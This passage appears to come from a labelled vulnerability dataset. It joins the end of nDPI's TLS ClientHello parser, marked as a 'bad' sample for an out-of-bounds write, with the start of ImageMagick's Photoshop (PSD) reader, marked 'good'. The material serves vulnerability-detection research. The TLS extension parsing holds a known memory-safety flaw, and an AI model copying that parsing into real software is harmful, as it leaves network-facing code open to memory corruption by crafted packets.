ntohs(*((u_int16_t*)&packet->payload[offset+extension_offset])); extension_offset += 2; extension_len = ntohs(*((u_int16_t*)&packet->payload[offset+extension_offset])); extension_offset += 2; #ifdef DEBUG_TLS printf("Client SSL [extension_id: %u][extension_len: %u]\n", extension_id, extension_len); #endif if((extension_id == 0) || (packet->payload[extn_off] != packet->payload[extn_off+1])) { /* Skip GREASE */ if(ja3.num_tls_extension < MAX_NUM_JA3) ja3.tls_extension[ja3.num_tls_extension++] = extension_id; else { invalid_ja3 = 1; #ifdef DEBUG_TLS printf("Client SSL Invalid extensions %u\n", ja3.num_tls_extension); #endif } } if(extension_id == 0 /* server name */) { u_int16_t len; #ifdef DEBUG_TLS printf("[TLS] Extensions: found server name\n"); #endif len = (packet->payload[offset+extension_offset+3] << 8) + packet->payload[offset+extension_offset+4]; len = (u_int)ndpi_min(len, sizeof(buffer)-1); if((offset+extension_offset+5+len) <= packet->payload_packet_len) { strncpy(buffer, (char*)&packet->payload[offset+extension_offset+5], len); buffer[len] = '\0'; cleanupServerName(buffer, sizeof(buffer)); snprintf(flow->protos.stun_ssl.ssl.client_requested_server_name, sizeof(flow->protos.stun_ssl.ssl.client_requested_server_name), "%s", buffer); if(ndpi_match_hostname_protocol(ndpi_struct, flow, NDPI_PROTOCOL_TLS, buffer, strlen(buffer))) flow->l4.tcp.tls.subprotocol_detected = 1; ndpi_check_dga_name(ndpi_struct, flow, flow->protos.stun_ssl.ssl.client_requested_server_name); } else { #ifdef DEBUG_TLS printf("[TLS] Extensions server len too short: %u vs %u\n", offset+extension_offset+5+len, packet->payload_packet_len); #endif } } else if(extension_id == 10 /* supported groups */) { u_int16_t s_offset = offset+extension_offset + 2; #ifdef DEBUG_TLS printf("Client SSL [EllipticCurveGroups: len=%u]\n", extension_len); #endif if((s_offset+extension_len-2) <= total_len) { for(i=0; i<extension_len-2;) { u_int16_t s_group = ntohs(*((u_int16_t*)&packet->payload[s_offset+i])); #ifdef DEBUG_TLS printf("Client SSL [EllipticCurve: %u/0x%04X]\n", s_group, s_group); #endif if((s_group == 0) || (packet->payload[s_offset+i] != packet->payload[s_offset+i+1])) { /* Skip GREASE */ if(ja3.num_elliptic_curve < MAX_NUM_JA3) ja3.elliptic_curve[ja3.num_elliptic_curve++] = s_group; else { invalid_ja3 = 1; #ifdef DEBUG_TLS printf("Client SSL Invalid num elliptic %u\n", ja3.num_elliptic_curve); #endif } } i += 2; } } else { invalid_ja3 = 1; #ifdef DEBUG_TLS printf("Client SSL Invalid len %u vs %u\n", (s_offset+extension_len-1), total_len); #endif } } else if(extension_id == 11 /* ec_point_formats groups */) { u_int16_t s_offset = offset+extension_offset + 1; #ifdef DEBUG_TLS printf("Client SSL [EllipticCurveFormat: len=%u]\n", extension_len); #endif if((s_offset+extension_len) < total_len) { for(i=0; i<extension_len-1;i++) { u_int8_t s_group = packet->payload[s_offset+i]; #ifdef DEBUG_TLS printf("Client SSL [EllipticCurveFormat: %u]\n", s_group); #endif if(ja3.num_elliptic_curve_point_format < MAX_NUM_JA3) ja3.elliptic_curve_point_format[ja3.num_elliptic_curve_point_format++] = s_group; else { invalid_ja3 = 1; #ifdef DEBUG_TLS printf("Client SSL Invalid num elliptic %u\n", ja3.num_elliptic_curve_point_format); #endif } } } else { invalid_ja3 = 1; #ifdef DEBUG_TLS printf("Client SSL Invalid len %u vs %u\n", s_offset+extension_len, total_len); #endif } } else if(extension_id == 16 /* application_layer_protocol_negotiation */) { u_int16_t s_offset = offset+extension_offset; u_int16_t tot_alpn_len = ntohs(*((u_int16_t*)&packet->payload[s_offset])); char alpn_str[256]; u_int8_t alpn_str_len = 0; #ifdef DEBUG_TLS printf("Client SSL [ALPN: block_len=%u/len=%u]\n", extension_len, tot_alpn_len); #endif s_offset += 2; tot_alpn_len += s_offset; while(s_offset < tot_alpn_len && s_offset < total_len) { u_int8_t alpn_i, alpn_len = packet->payload[s_offset++]; if((s_offset + alpn_len) <= tot_alpn_len) { #ifdef DEBUG_TLS printf("Client SSL [ALPN: %u]\n", alpn_len); #endif if((alpn_str_len+alpn_len+1) < sizeof(alpn_str)) { if(alpn_str_len > 0) { alpn_str[alpn_str_len] = ','; alpn_str_len++; } for(alpn_i=0; alpn_i<alpn_len; alpn_i++) alpn_str[alpn_str_len+alpn_i] = packet->payload[s_offset+alpn_i]; s_offset += alpn_len, alpn_str_len += alpn_len;; } else break; } else break; } /* while */ alpn_str[alpn_str_len] = '\0'; #ifdef DEBUG_TLS printf("Client SSL [ALPN: %s][len: %u]\n", alpn_str, alpn_str_len); #endif if(flow->protos.stun_ssl.ssl.alpn == NULL) flow->protos.stun_ssl.ssl.alpn = ndpi_strdup(alpn_str); } else if(extension_id == 43 /* supported versions */) { u_int16_t s_offset = offset+extension_offset; u_int8_t version_len = packet->payload[s_offset]; char version_str[256]; u_int8_t version_str_len = 0; version_str[0] = 0; #ifdef DEBUG_TLS printf("Client SSL [TLS version len: %u]\n", version_len); #endif if(version_len == (extension_len-1)) { u_int8_t j; s_offset++; // careful not to overflow and loop forever with u_int8_t for(j=0; j+1<version_len; j += 2) { u_int16_t tls_version = ntohs(*((u_int16_t*)&packet->payload[s_offset+j])); u_int8_t unknown_tls_version; #ifdef DEBUG_TLS printf("Client SSL [TLS version: %s/0x%04X]\n", ndpi_ssl_version2str(tls_version, &unknown_tls_version), tls_version); #endif if((version_str_len+8) < sizeof(version_str)) { int rc = snprintf(&version_str[version_str_len], sizeof(version_str) - version_str_len, "%s%s", (version_str_len > 0) ? "," : "", ndpi_ssl_version2str(tls_version, &unknown_tls_version)); if(rc <= 0) break; else version_str_len += rc; } } if(flow->protos.stun_ssl.ssl.tls_supported_versions == NULL) flow->protos.stun_ssl.ssl.tls_supported_versions = ndpi_strdup(version_str); } } else if(extension_id == 65486 /* encrypted server name */) { /* - https://tools.ietf.org/html/draft-ietf-tls-esni-06 - https://blog.cloudflare.com/encrypted-sni/ */ u_int16_t e_offset = offset+extension_offset; u_int16_t initial_offset = e_offset; u_int16_t e_sni_len, cipher_suite = ntohs(*((u_int16_t*)&packet->payload[e_offset])); flow->protos.stun_ssl.ssl.encrypted_sni.cipher_suite = cipher_suite; e_offset += 2; /* Cipher suite len */ /* Key Share Entry */ e_offset += 2; /* Group */ e_offset += ntohs(*((u_int16_t*)&packet->payload[e_offset])) + 2; /* Lenght */ if((e_offset+4) < packet->payload_packet_len) { /* Record Digest */ e_offset += ntohs(*((u_int16_t*)&packet->payload[e_offset])) + 2; /* Lenght */ if((e_offset+4) < packet->payload_packet_len) { e_sni_len = ntohs(*((u_int16_t*)&packet->payload[e_offset])); e_offset += 2; if((e_offset+e_sni_len-extension_len-initial_offset) >= 0) { #ifdef DEBUG_ENCRYPTED_SNI printf("Client SSL [Encrypted Server Name len: %u]\n", e_sni_len); #endif if(flow->protos.stun_ssl.ssl.encrypted_sni.esni == NULL) { flow->protos.stun_ssl.ssl.encrypted_sni.esni = (char*)ndpi_malloc(e_sni_len*2+1); if(flow->protos.stun_ssl.ssl.encrypted_sni.esni) { u_int16_t i, off; for(i=e_offset, off=0; i<(e_offset+e_sni_len); i++) { int rc = sprintf(&flow->protos.stun_ssl.ssl.encrypted_sni.esni[off], "%02X", packet->payload[i] & 0XFF); if(rc <= 0) { flow->protos.stun_ssl.ssl.encrypted_sni.esni[off] = '\0'; break; } else off += rc; } } } } } } } extension_offset += extension_len; /* Move to the next extension */ #ifdef DEBUG_TLS printf("Client SSL [extension_offset/len: %u/%u]\n", extension_offset, extension_len); #endif } /* while */ if(!invalid_ja3) { int rc; compute_ja3c: ja3_str_len = snprintf(ja3_str, sizeof(ja3_str), "%u,", ja3.tls_handshake_version); for(i=0; i<ja3.num_cipher; i++) { rc = snprintf(&ja3_str[ja3_str_len], sizeof(ja3_str)-ja3_str_len, "%s%u", (i > 0) ? "-" : "", ja3.cipher[i]); if(rc > 0 && ja3_str_len + rc < JA3_STR_LEN) ja3_str_len += rc; else break; } rc = snprintf(&ja3_str[ja3_str_len], sizeof(ja3_str)-ja3_str_len, ","); if(rc > 0 && ja3_str_len + rc < JA3_STR_LEN) ja3_str_len += rc; /* ********** */ for(i=0; i<ja3.num_tls_extension; i++) { rc = snprintf(&ja3_str[ja3_str_len], sizeof(ja3_str)-ja3_str_len, "%s%u", (i > 0) ? "-" : "", ja3.tls_extension[i]); if(rc > 0 && ja3_str_len + rc < JA3_STR_LEN) ja3_str_len += rc; else break; } rc = snprintf(&ja3_str[ja3_str_len], sizeof(ja3_str)-ja3_str_len, ","); if(rc > 0 && ja3_str_len + rc < JA3_STR_LEN) ja3_str_len += rc; /* ********** */ for(i=0; i<ja3.num_elliptic_curve; i++) { rc = snprintf(&ja3_str[ja3_str_len], sizeof(ja3_str)-ja3_str_len, "%s%u", (i > 0) ? "-" : "", ja3.elliptic_curve[i]); if(rc > 0 && ja3_str_len + rc < JA3_STR_LEN) ja3_str_len += rc; else break; } rc = snprintf(&ja3_str[ja3_str_len], sizeof(ja3_str)-ja3_str_len, ","); if(rc > 0 && ja3_str_len + rc < JA3_STR_LEN) ja3_str_len += rc; for(i=0; i<ja3.num_elliptic_curve_point_format; i++) { rc = snprintf(&ja3_str[ja3_str_len], sizeof(ja3_str)-ja3_str_len, "%s%u", (i > 0) ? "-" : "", ja3.elliptic_curve_point_format[i]); if(rc > 0 && ja3_str_len + rc < JA3_STR_LEN) ja3_str_len += rc; else break; } #ifdef DEBUG_TLS printf("[JA3] Client: %s \n", ja3_str); #endif ndpi_MD5Init(&ctx); ndpi_MD5Update(&ctx, (const unsigned char *)ja3_str, strlen(ja3_str)); ndpi_MD5Final(md5_hash, &ctx); for(i=0, j=0; i<16; i++) { rc = snprintf(&flow->protos.stun_ssl.ssl.ja3_client[j], sizeof(flow->protos.stun_ssl.ssl.ja3_client)-j, "%02x", md5_hash[i]); if(rc > 0) j += rc; else break; } #ifdef DEBUG_TLS printf("[JA3] Client: %s \n", flow->protos.stun_ssl.ssl.ja3_client); #endif } /* Before returning to the caller we need to make a final check */ if((flow->protos.stun_ssl.ssl.ssl_version >= 0x0303) /* >= TLSv1.2 */ && (flow->protos.stun_ssl.ssl.alpn == NULL) /* No ALPN */) { NDPI_SET_BIT(flow->risk, NDPI_TLS_NOT_CARRYING_HTTPS); } return(2 /* Client Certificate */); } else { #ifdef DEBUG_TLS printf("[TLS] Client: too short [%u vs %u]\n", (extensions_len+offset), total_len); #endif } } else if(offset == total_len) { /* SSL does not have extensions etc */ goto compute_ja3c; } } else { #ifdef DEBUG_TLS printf("[JA3] Client: invalid length detected\n"); #endif } } } return(0); /* Not found */ } /* **************************************** */ static void ndpi_search_tls_wrapper(struct ndpi_detection_module_struct *ndpi_struct, struct ndpi_flow_struct *flow) { struct ndpi_packet_struct *packet = &flow->packet; #ifdef DEBUG_TLS printf("==>> %s() %u [len: %u][version: %u]\n", __FUNCTION__, flow->guessed_host_protocol_id, packet->payload_packet_len, flow->protos.stun_ssl.ssl.ssl_version); #endif if(packet->udp != NULL) ndpi_search_tls_udp(ndpi_struct, flow); else ndpi_search_tls_tcp(ndpi_struct, flow); } /* **************************************** */ void init_tls_dissector(struct ndpi_detection_module_struct *ndpi_struct, u_int32_t *id, NDPI_PROTOCOL_BITMASK *detection_bitmask) { ndpi_set_bitmask_protocol_detection("TLS", ndpi_struct, detection_bitmask, *id, NDPI_PROTOCOL_TLS, ndpi_search_tls_wrapper, NDPI_SELECTION_BITMASK_PROTOCOL_V4_V6_TCP_WITH_PAYLOAD_WITHOUT_RETRANSMISSION, SAVE_DETECTION_BITMASK_AS_UNKNOWN, ADD_TO_DETECTION_BITMASK); *id += 1; /* *************************************************** */ ndpi_set_bitmask_protocol_detection("TLS", ndpi_struct, detection_bitmask, *id, NDPI_PROTOCOL_TLS, ndpi_search_tls_wrapper, NDPI_SELECTION_BITMASK_PROTOCOL_V4_V6_UDP_WITH_PAYLOAD, SAVE_DETECTION_BITMASK_AS_UNKNOWN, ADD_TO_DETECTION_BITMASK); *id += 1; }
./CrossVul/dataset_final_sorted/CWE-787/c/bad_4217_0
crossvul-cpp_data_good_3106_0
/* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % PPPP SSSSS DDDD % % P P SS D D % % PPPP SSS D D % % P SS D D % % P SSSSS DDDD % % % % % % Read/Write Adobe Photoshop Image Format % % % % Software Design % % Cristy % % Leonard Rosenthol % % July 1992 % % Dirk Lemstra % % December 2013 % % % % % % Copyright 1999-2017 ImageMagick Studio LLC, a non-profit organization % % dedicated to making software imaging solutions freely available. % % % % You may not use this file except in compliance with the License. You may % % obtain a copy of the License at % % % % http://www.imagemagick.org/script/license.php % % % % Unless required by applicable law or agreed to in writing, software % % distributed under the License is distributed on an "AS IS" BASIS, % % WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. % % See the License for the specific language governing permissions and % % limitations under the License. % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % */ /* Include declarations. */ #include "MagickCore/studio.h" #include "MagickCore/artifact.h" #include "MagickCore/attribute.h" #include "MagickCore/blob.h" #include "MagickCore/blob-private.h" #include "MagickCore/cache.h" #include "MagickCore/channel.h" #include "MagickCore/colormap.h" #include "MagickCore/colormap-private.h" #include "MagickCore/colorspace.h" #include "MagickCore/colorspace-private.h" #include "MagickCore/constitute.h" #include "MagickCore/enhance.h" #include "MagickCore/exception.h" #include "MagickCore/exception-private.h" #include "MagickCore/image.h" #include "MagickCore/image-private.h" #include "MagickCore/list.h" #include "MagickCore/log.h" #include "MagickCore/magick.h" #include "MagickCore/memory_.h" #include "MagickCore/module.h" #include "MagickCore/monitor-private.h" #include "MagickCore/option.h" #include "MagickCore/pixel.h" #include "MagickCore/pixel-accessor.h" #include "MagickCore/profile.h" #include "MagickCore/property.h" #include "MagickCore/registry.h" #include "MagickCore/quantum-private.h" #include "MagickCore/static.h" #include "MagickCore/string_.h" #include "MagickCore/string-private.h" #include "MagickCore/thread-private.h" #ifdef MAGICKCORE_ZLIB_DELEGATE #include <zlib.h> #endif #include "psd-private.h" /* Define declaractions. */ #define MaxPSDChannels 56 #define PSDQuantum(x) (((ssize_t) (x)+1) & -2) /* Enumerated declaractions. */ typedef enum { Raw = 0, RLE = 1, ZipWithoutPrediction = 2, ZipWithPrediction = 3 } PSDCompressionType; typedef enum { BitmapMode = 0, GrayscaleMode = 1, IndexedMode = 2, RGBMode = 3, CMYKMode = 4, MultichannelMode = 7, DuotoneMode = 8, LabMode = 9 } PSDImageType; /* Typedef declaractions. */ typedef struct _ChannelInfo { short int type; size_t size; } ChannelInfo; typedef struct _MaskInfo { Image *image; RectangleInfo page; unsigned char background, flags; } MaskInfo; typedef struct _LayerInfo { ChannelInfo channel_info[MaxPSDChannels]; char blendkey[4]; Image *image; MaskInfo mask; Quantum opacity; RectangleInfo page; size_t offset_x, offset_y; unsigned char clipping, flags, name[256], visible; unsigned short channels; StringInfo *info; } LayerInfo; /* Forward declarations. */ static MagickBooleanType WritePSDImage(const ImageInfo *,Image *,ExceptionInfo *); /* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % I s P S D % % % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % IsPSD()() returns MagickTrue if the image format type, identified by the % magick string, is PSD. % % The format of the IsPSD method is: % % MagickBooleanType IsPSD(const unsigned char *magick,const size_t length) % % A description of each parameter follows: % % o magick: compare image format pattern against these bytes. % % o length: Specifies the length of the magick string. % */ static MagickBooleanType IsPSD(const unsigned char *magick,const size_t length) { if (length < 4) return(MagickFalse); if (LocaleNCompare((const char *) magick,"8BPS",4) == 0) return(MagickTrue); return(MagickFalse); } /* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % R e a d P S D I m a g e % % % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % ReadPSDImage() reads an Adobe Photoshop image file and returns it. It % allocates the memory necessary for the new Image structure and returns a % pointer to the new image. % % The format of the ReadPSDImage method is: % % Image *ReadPSDImage(image_info,ExceptionInfo *exception) % % A description of each parameter follows: % % o image_info: the image info. % % o exception: return any errors or warnings in this structure. % */ static const char *CompositeOperatorToPSDBlendMode(CompositeOperator op) { const char *blend_mode; switch (op) { case ColorBurnCompositeOp: blend_mode = "idiv"; break; case ColorDodgeCompositeOp: blend_mode = "div "; break; case ColorizeCompositeOp: blend_mode = "colr"; break; case DarkenCompositeOp: blend_mode = "dark"; break; case DifferenceCompositeOp: blend_mode = "diff"; break; case DissolveCompositeOp: blend_mode = "diss"; break; case ExclusionCompositeOp: blend_mode = "smud"; break; case HardLightCompositeOp: blend_mode = "hLit"; break; case HardMixCompositeOp: blend_mode = "hMix"; break; case HueCompositeOp: blend_mode = "hue "; break; case LightenCompositeOp: blend_mode = "lite"; break; case LinearBurnCompositeOp: blend_mode = "lbrn"; break; case LinearDodgeCompositeOp:blend_mode = "lddg"; break; case LinearLightCompositeOp:blend_mode = "lLit"; break; case LuminizeCompositeOp: blend_mode = "lum "; break; case MultiplyCompositeOp: blend_mode = "mul "; break; case OverCompositeOp: blend_mode = "norm"; break; case OverlayCompositeOp: blend_mode = "over"; break; case PinLightCompositeOp: blend_mode = "pLit"; break; case SaturateCompositeOp: blend_mode = "sat "; break; case ScreenCompositeOp: blend_mode = "scrn"; break; case SoftLightCompositeOp: blend_mode = "sLit"; break; case VividLightCompositeOp: blend_mode = "vLit"; break; default: blend_mode = "norm"; } return(blend_mode); } /* For some reason Photoshop seems to blend semi-transparent pixels with white. This method reverts the blending. This can be disabled by setting the option 'psd:alpha-unblend' to off. */ static MagickBooleanType CorrectPSDAlphaBlend(const ImageInfo *image_info, Image *image,ExceptionInfo* exception) { const char *option; MagickBooleanType status; ssize_t y; if (image->alpha_trait != BlendPixelTrait || image->colorspace != sRGBColorspace) return(MagickTrue); option=GetImageOption(image_info,"psd:alpha-unblend"); if (IsStringFalse(option) != MagickFalse) return(MagickTrue); status=MagickTrue; #if defined(MAGICKCORE_OPENMP_SUPPORT) #pragma omp parallel for schedule(static,4) shared(status) \ magick_threads(image,image,image->rows,1) #endif for (y=0; y < (ssize_t) image->rows; y++) { register Quantum *magick_restrict q; register ssize_t x; if (status == MagickFalse) continue; q=GetAuthenticPixels(image,0,y,image->columns,1,exception); if (q == (Quantum *) NULL) { status=MagickFalse; continue; } for (x=0; x < (ssize_t) image->columns; x++) { double gamma; register ssize_t i; gamma=QuantumScale*GetPixelAlpha(image, q); if (gamma != 0.0 && gamma != 1.0) { for (i=0; i < (ssize_t) GetPixelChannels(image); i++) { PixelChannel channel=GetPixelChannelChannel(image,i); if (channel != AlphaPixelChannel) q[i]=ClampToQuantum((q[i]-((1.0-gamma)*QuantumRange))/gamma); } } q+=GetPixelChannels(image); } if (SyncAuthenticPixels(image,exception) == MagickFalse) status=MagickFalse; } return(status); } static inline CompressionType ConvertPSDCompression( PSDCompressionType compression) { switch (compression) { case RLE: return RLECompression; case ZipWithPrediction: case ZipWithoutPrediction: return ZipCompression; default: return NoCompression; } } static MagickBooleanType ApplyPSDLayerOpacity(Image *image,Quantum opacity, MagickBooleanType revert,ExceptionInfo *exception) { MagickBooleanType status; ssize_t y; if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " applying layer opacity %.20g", (double) opacity); if (opacity == OpaqueAlpha) return(MagickTrue); image->alpha_trait=BlendPixelTrait; status=MagickTrue; #if defined(MAGICKCORE_OPENMP_SUPPORT) #pragma omp parallel for schedule(static,4) shared(status) \ magick_threads(image,image,image->rows,1) #endif for (y=0; y < (ssize_t) image->rows; y++) { register Quantum *magick_restrict q; register ssize_t x; if (status == MagickFalse) continue; q=GetAuthenticPixels(image,0,y,image->columns,1,exception); if (q == (Quantum *) NULL) { status=MagickFalse; continue; } for (x=0; x < (ssize_t) image->columns; x++) { if (revert == MagickFalse) SetPixelAlpha(image,(Quantum) (QuantumScale*(GetPixelAlpha(image,q))* opacity),q); else if (opacity > 0) SetPixelAlpha(image,(Quantum) (QuantumRange*(GetPixelAlpha(image,q)/ (MagickRealType) opacity)),q); q+=GetPixelChannels(image); } if (SyncAuthenticPixels(image,exception) == MagickFalse) status=MagickFalse; } return(status); } static MagickBooleanType ApplyPSDOpacityMask(Image *image,const Image *mask, Quantum background,MagickBooleanType revert,ExceptionInfo *exception) { Image *complete_mask; MagickBooleanType status; PixelInfo color; ssize_t y; if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " applying opacity mask"); complete_mask=CloneImage(image,image->columns,image->rows,MagickTrue, exception); complete_mask->alpha_trait=BlendPixelTrait; GetPixelInfo(complete_mask,&color); color.red=background; SetImageColor(complete_mask,&color,exception); status=CompositeImage(complete_mask,mask,OverCompositeOp,MagickTrue, mask->page.x-image->page.x,mask->page.y-image->page.y,exception); if (status == MagickFalse) { complete_mask=DestroyImage(complete_mask); return(status); } image->alpha_trait=BlendPixelTrait; #if defined(MAGICKCORE_OPENMP_SUPPORT) #pragma omp parallel for schedule(static,4) shared(status) \ magick_threads(image,image,image->rows,1) #endif for (y=0; y < (ssize_t) image->rows; y++) { register Quantum *magick_restrict q; register Quantum *p; register ssize_t x; if (status == MagickFalse) continue; q=GetAuthenticPixels(image,0,y,image->columns,1,exception); p=GetAuthenticPixels(complete_mask,0,y,complete_mask->columns,1,exception); if ((q == (Quantum *) NULL) || (p == (Quantum *) NULL)) { status=MagickFalse; continue; } for (x=0; x < (ssize_t) image->columns; x++) { MagickRealType alpha, intensity; alpha=GetPixelAlpha(image,q); intensity=GetPixelIntensity(complete_mask,p); if (revert == MagickFalse) SetPixelAlpha(image,ClampToQuantum(intensity*(QuantumScale*alpha)),q); else if (intensity > 0) SetPixelAlpha(image,ClampToQuantum((alpha/intensity)*QuantumRange),q); q+=GetPixelChannels(image); p+=GetPixelChannels(complete_mask); } if (SyncAuthenticPixels(image,exception) == MagickFalse) status=MagickFalse; } complete_mask=DestroyImage(complete_mask); return(status); } static void PreservePSDOpacityMask(Image *image,LayerInfo* layer_info, ExceptionInfo *exception) { char *key; RandomInfo *random_info; StringInfo *key_info; if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " preserving opacity mask"); random_info=AcquireRandomInfo(); key_info=GetRandomKey(random_info,2+1); key=(char *) GetStringInfoDatum(key_info); key[8]=layer_info->mask.background; key[9]='\0'; layer_info->mask.image->page.x+=layer_info->page.x; layer_info->mask.image->page.y+=layer_info->page.y; (void) SetImageRegistry(ImageRegistryType,(const char *) key, layer_info->mask.image,exception); (void) SetImageArtifact(layer_info->image,"psd:opacity-mask", (const char *) key); key_info=DestroyStringInfo(key_info); random_info=DestroyRandomInfo(random_info); } static ssize_t DecodePSDPixels(const size_t number_compact_pixels, const unsigned char *compact_pixels,const ssize_t depth, const size_t number_pixels,unsigned char *pixels) { #define CheckNumberCompactPixels \ if (packets == 0) \ return(i); \ packets-- #define CheckNumberPixels(count) \ if (((ssize_t) i + count) > (ssize_t) number_pixels) \ return(i); \ i+=count int pixel; register ssize_t i, j; size_t length; ssize_t packets; packets=(ssize_t) number_compact_pixels; for (i=0; (packets > 1) && (i < (ssize_t) number_pixels); ) { packets--; length=(size_t) (*compact_pixels++); if (length == 128) continue; if (length > 128) { length=256-length+1; CheckNumberCompactPixels; pixel=(*compact_pixels++); for (j=0; j < (ssize_t) length; j++) { switch (depth) { case 1: { CheckNumberPixels(8); *pixels++=(pixel >> 7) & 0x01 ? 0U : 255U; *pixels++=(pixel >> 6) & 0x01 ? 0U : 255U; *pixels++=(pixel >> 5) & 0x01 ? 0U : 255U; *pixels++=(pixel >> 4) & 0x01 ? 0U : 255U; *pixels++=(pixel >> 3) & 0x01 ? 0U : 255U; *pixels++=(pixel >> 2) & 0x01 ? 0U : 255U; *pixels++=(pixel >> 1) & 0x01 ? 0U : 255U; *pixels++=(pixel >> 0) & 0x01 ? 0U : 255U; break; } case 2: { CheckNumberPixels(4); *pixels++=(unsigned char) ((pixel >> 6) & 0x03); *pixels++=(unsigned char) ((pixel >> 4) & 0x03); *pixels++=(unsigned char) ((pixel >> 2) & 0x03); *pixels++=(unsigned char) ((pixel & 0x03) & 0x03); break; } case 4: { CheckNumberPixels(2); *pixels++=(unsigned char) ((pixel >> 4) & 0xff); *pixels++=(unsigned char) ((pixel & 0x0f) & 0xff); break; } default: { CheckNumberPixels(1); *pixels++=(unsigned char) pixel; break; } } } continue; } length++; for (j=0; j < (ssize_t) length; j++) { CheckNumberCompactPixels; switch (depth) { case 1: { CheckNumberPixels(8); *pixels++=(*compact_pixels >> 7) & 0x01 ? 0U : 255U; *pixels++=(*compact_pixels >> 6) & 0x01 ? 0U : 255U; *pixels++=(*compact_pixels >> 5) & 0x01 ? 0U : 255U; *pixels++=(*compact_pixels >> 4) & 0x01 ? 0U : 255U; *pixels++=(*compact_pixels >> 3) & 0x01 ? 0U : 255U; *pixels++=(*compact_pixels >> 2) & 0x01 ? 0U : 255U; *pixels++=(*compact_pixels >> 1) & 0x01 ? 0U : 255U; *pixels++=(*compact_pixels >> 0) & 0x01 ? 0U : 255U; break; } case 2: { CheckNumberPixels(4); *pixels++=(*compact_pixels >> 6) & 0x03; *pixels++=(*compact_pixels >> 4) & 0x03; *pixels++=(*compact_pixels >> 2) & 0x03; *pixels++=(*compact_pixels & 0x03) & 0x03; break; } case 4: { CheckNumberPixels(2); *pixels++=(*compact_pixels >> 4) & 0xff; *pixels++=(*compact_pixels & 0x0f) & 0xff; break; } default: { CheckNumberPixels(1); *pixels++=(*compact_pixels); break; } } compact_pixels++; } } return(i); } static inline LayerInfo *DestroyLayerInfo(LayerInfo *layer_info, const ssize_t number_layers) { ssize_t i; for (i=0; i<number_layers; i++) { if (layer_info[i].image != (Image *) NULL) layer_info[i].image=DestroyImage(layer_info[i].image); if (layer_info[i].mask.image != (Image *) NULL) layer_info[i].mask.image=DestroyImage(layer_info[i].mask.image); if (layer_info[i].info != (StringInfo *) NULL) layer_info[i].info=DestroyStringInfo(layer_info[i].info); } return (LayerInfo *) RelinquishMagickMemory(layer_info); } static inline size_t GetPSDPacketSize(Image *image) { if (image->storage_class == PseudoClass) { if (image->colors > 256) return(2); else if (image->depth > 8) return(2); } else if (image->depth > 8) return(2); return(1); } static inline MagickSizeType GetPSDSize(const PSDInfo *psd_info,Image *image) { if (psd_info->version == 1) return((MagickSizeType) ReadBlobLong(image)); return((MagickSizeType) ReadBlobLongLong(image)); } static inline size_t GetPSDRowSize(Image *image) { if (image->depth == 1) return(((image->columns+7)/8)*GetPSDPacketSize(image)); else return(image->columns*GetPSDPacketSize(image)); } static const char *ModeToString(PSDImageType type) { switch (type) { case BitmapMode: return "Bitmap"; case GrayscaleMode: return "Grayscale"; case IndexedMode: return "Indexed"; case RGBMode: return "RGB"; case CMYKMode: return "CMYK"; case MultichannelMode: return "Multichannel"; case DuotoneMode: return "Duotone"; case LabMode: return "L*A*B"; default: return "unknown"; } } static MagickBooleanType NegateCMYK(Image *image,ExceptionInfo *exception) { ChannelType channel_mask; MagickBooleanType status; channel_mask=SetImageChannelMask(image,(ChannelType)(AllChannels &~ AlphaChannel)); status=NegateImage(image,MagickFalse,exception); (void) SetImageChannelMask(image,channel_mask); return(status); } static void ParseImageResourceBlocks(Image *image, const unsigned char *blocks,size_t length, MagickBooleanType *has_merged_image,ExceptionInfo *exception) { const unsigned char *p; StringInfo *profile; unsigned int count, long_sans; unsigned short id, short_sans; if (length < 16) return; profile=BlobToStringInfo((const unsigned char *) NULL,length); SetStringInfoDatum(profile,blocks); (void) SetImageProfile(image,"8bim",profile,exception); profile=DestroyStringInfo(profile); for (p=blocks; (p >= blocks) && (p < (blocks+length-16)); ) { if (LocaleNCompare((const char *) p,"8BIM",4) != 0) break; p=PushLongPixel(MSBEndian,p,&long_sans); p=PushShortPixel(MSBEndian,p,&id); p=PushShortPixel(MSBEndian,p,&short_sans); p=PushLongPixel(MSBEndian,p,&count); if ((p+count) > (blocks+length-16)) return; switch (id) { case 0x03ed: { char value[MagickPathExtent]; unsigned short resolution; /* Resolution info. */ p=PushShortPixel(MSBEndian,p,&resolution); image->resolution.x=(double) resolution; (void) FormatLocaleString(value,MagickPathExtent,"%g",image->resolution.x); (void) SetImageProperty(image,"tiff:XResolution",value,exception); p=PushShortPixel(MSBEndian,p,&short_sans); p=PushShortPixel(MSBEndian,p,&short_sans); p=PushShortPixel(MSBEndian,p,&short_sans); p=PushShortPixel(MSBEndian,p,&resolution); image->resolution.y=(double) resolution; (void) FormatLocaleString(value,MagickPathExtent,"%g",image->resolution.y); (void) SetImageProperty(image,"tiff:YResolution",value,exception); p=PushShortPixel(MSBEndian,p,&short_sans); p=PushShortPixel(MSBEndian,p,&short_sans); p=PushShortPixel(MSBEndian,p,&short_sans); image->units=PixelsPerInchResolution; break; } case 0x0421: { if (*(p+4) == 0) *has_merged_image=MagickFalse; p+=count; break; } default: { p+=count; break; } } if ((count & 0x01) != 0) p++; } return; } static CompositeOperator PSDBlendModeToCompositeOperator(const char *mode) { if (mode == (const char *) NULL) return(OverCompositeOp); if (LocaleNCompare(mode,"norm",4) == 0) 